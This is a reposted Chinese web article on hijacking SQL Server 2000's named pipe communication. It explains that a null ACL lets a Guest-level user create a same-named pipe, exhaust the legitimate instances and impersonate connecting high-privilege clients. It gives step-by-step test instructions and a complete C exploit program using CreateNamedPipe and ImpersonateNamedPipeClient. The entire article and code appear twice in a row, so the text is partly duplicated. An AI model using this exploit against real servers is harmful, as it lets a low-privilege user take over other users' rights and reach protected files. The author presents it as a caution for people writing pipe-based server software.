SQL SERVER 2000通訊管道復用后的問題
添加時間:2014-3-31 17:04:10
添加:
思海網絡
SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的:
默認實例:\\.\pipe\sql\query
命名實例:\\.\pipe\MSSQL$instancename\sql\query
也可以通過1434 UDP進行查詢獲得這個管道名稱
但是由于SQL SERVER 2000對于這個管道的ACL設置為NULL,導致任何用戶的權限都可以對這個管道進行劫持,以前的劫持都是利用先停掉服務,再建立這個名字管道,然后再啟動服務來復用自己已經建立了名字的管道,但實際上SQL SERVER 2000會判斷是否已有同名管道,然后會取別的名字,而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞),但是實際上對管道的測試卻發現:如果ACL設置成NULL的話,即使是后命名的管道,也可以劫持先命令的管道,只需要簡單復用管道,然后自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
建立時的實例個數有關,如在我的測試下,\\.\pipe\sql\query只需要建立1個接可以劫持了,而\\.\pipe\lsass則需要4-5個之后才能劫持。不過\\.\pipe\lsass的ACL只能是管理員才能進行劫持)
如果攻擊者復用了同名管道以后,建立起幾個不釋放的管道(消耗掉了正常管道的實例),然后再有客戶發起的管道連接就進入了攻擊者程序的管道監聽流程,剩下的就是大家都知道的利用模擬函數獲得發起者權限的老生常談了:
下面就是一個簡單的例子,實現對SQL SERVER 2000管道通訊的劫持
環境:SQL SERVER 2000+SP2
WIN2000 SERVER中文版+SP3
測試流程:
1。先建立SQL 服務器允許管道通訊,和集成WINDOWS 驗證,添加一個具備高權限的允許SQL SERVER登陸的WINDOWS本機帳戶,啟動SQL SERVER服務
2。C盤下建立一個TEST.TXT文件,設置ACL為GUEST全部拒絕,其他人都許可
3。在另外一臺機器B上,以添加的可以登陸SQL SERVER的服務器帳戶登陸,然后設置客戶端網絡庫只為管道(如果有多個,可能就會是隨機選一個連接,而不肯定是管道進行通訊了)
4。然后用SQL SERVER企業管理器建立一個SQL SERVER的連接,使用集成WINDOWS驗證
5。SQL SERVER這邊的機器進入GUEST帳戶運行下面C代碼的程序,會顯示先無法打開TEST.TXT文件,然后進行劫持,等待客戶端管道連接
6。在機器B上,連接SQL SERVER,然后主機A的程序就會截獲這個管道扮演高權限登陸用戶,然后可以打開先沒權限打開的文件。
當然這個攻擊本身實際的意義可能不大,因為估計現在SQL SERVER用管道建立通訊的比較少,而且在都允許的情況下,一般會主動選擇TCP方式進行連接,但同時說明了:一個缺乏很好ACL保護的管道,也可以用后發復用來進行劫持,這就減少了很多需要先停掉服務或預先預測的難題,在編寫服務器端管道應用的時候也必須小心。
SQL SERVER 2000劫持代碼
#include
#include
#include
#include
void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的測試,在GUEST權限下無法打開此文件
fp = fopen("C:\\test.txt","w");
if(fp==NULL)
printf("now you don't open file;\n");
//建立起一個同名管道,復用已存在的SQL SERVER的
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//損耗掉其他正常實例
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n");
return;
}
//可以調整個數,SQL SERVER只需要調整一個就可以了
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n");
return;
}
//WriteFile(pipeb[i],"test1",5,&num,NULL);
//WriteFile(pipeb[i],"test2",5,&num,NULL);
}
//然后等待連接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模擬連接進來的用戶
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//獲得用戶信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再測試是否能打開這個文件,證明確實提升了權限
fp = fopen("C:\\test.txt","w");
if(fp!=NULL)
printf("now you can open file\n");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb[i]);
return;
默認實例:\\.\pipe\sql\query
命名實例:\\.\pipe\MSSQL$instancename\sql\query
也可以通過1434 UDP進行查詢獲得這個管道名稱
但是由于SQL SERVER 2000對于這個管道的ACL設置為NULL,導致任何用戶的權限都可以對這個管道進行劫持,以前的劫持都是利用先停掉服務,再建立這個名字管道,然后再啟動服務來復用自己已經建立了名字的管道,但實際上SQL SERVER 2000會判斷是否已有同名管道,然后會取別的名字,而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞),但是實際上對管道的測試卻發現:如果ACL設置成NULL的話,即使是后命名的管道,也可以劫持先命令的管道,只需要簡單復用管道,然后自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
建立時的實例個數有關,如在我的測試下,\\.\pipe\sql\query只需要建立1個接可以劫持了,而\\.\pipe\lsass則需要4-5個之后才能劫持。不過\\.\pipe\lsass的ACL只能是管理員才能進行劫持)
如果攻擊者復用了同名管道以后,建立起幾個不釋放的管道(消耗掉了正常管道的實例),然后再有客戶發起的管道連接就進入了攻擊者程序的管道監聽流程,剩下的就是大家都知道的利用模擬函數獲得發起者權限的老生常談了:
下面就是一個簡單的例子,實現對SQL SERVER 2000管道通訊的劫持
環境:SQL SERVER 2000+SP2
WIN2000 SERVER中文版+SP3
測試流程:
1。先建立SQL 服務器允許管道通訊,和集成WINDOWS 驗證,添加一個具備高權限的允許SQL SERVER登陸的WINDOWS本機帳戶,啟動SQL SERVER服務
2。C盤下建立一個TEST.TXT文件,設置ACL為GUEST全部拒絕,其他人都許可
3。在另外一臺機器B上,以添加的可以登陸SQL SERVER的服務器帳戶登陸,然后設置客戶端網絡庫只為管道(如果有多個,可能就會是隨機選一個連接,而不肯定是管道進行通訊了)
4。然后用SQL SERVER企業管理器建立一個SQL SERVER的連接,使用集成WINDOWS驗證
5。SQL SERVER這邊的機器進入GUEST帳戶運行下面C代碼的程序,會顯示先無法打開TEST.TXT文件,然后進行劫持,等待客戶端管道連接
6。在機器B上,連接SQL SERVER,然后主機A的程序就會截獲這個管道扮演高權限登陸用戶,然后可以打開先沒權限打開的文件。
當然這個攻擊本身實際的意義可能不大,因為估計現在SQL SERVER用管道建立通訊的比較少,而且在都允許的情況下,一般會主動選擇TCP方式進行連接,但同時說明了:一個缺乏很好ACL保護的管道,也可以用后發復用來進行劫持,這就減少了很多需要先停掉服務或預先預測的難題,在編寫服務器端管道應用的時候也必須小心。
SQL SERVER 2000劫持代碼
#include
#include
#include
#include
void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的測試,在GUEST權限下無法打開此文件
fp = fopen("C:\\test.txt","w");
if(fp==NULL)
printf("now you don't open file;\n");
//建立起一個同名管道,復用已存在的SQL SERVER的
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);
if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//損耗掉其他正常實例
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n");
return;
}
//可以調整個數,SQL SERVER只需要調整一個就可以了
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n");
return;
}
//WriteFile(pipeb[i],"test1",5,&num,NULL);
//WriteFile(pipeb[i],"test2",5,&num,NULL);
}
//然后等待連接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模擬連接進來的用戶
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//獲得用戶信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再測試是否能打開這個文件,證明確實提升了權限
fp = fopen("C:\\test.txt","w");
if(fp!=NULL)
printf("now you can open file\n");
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb[i]);
return;
}
關鍵字:SQL SERVER、管道、通訊
新文章:
- CentOS7下圖形配置網絡的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統后丟失windows啟動項
- CentOS單網卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網打印機IP講解
- CentOS7使用hostapd實現無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網絡重啟出錯
- 解決Centos7雙系統后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統有什么不同呢
- Centos 6.6默認iptable規則詳解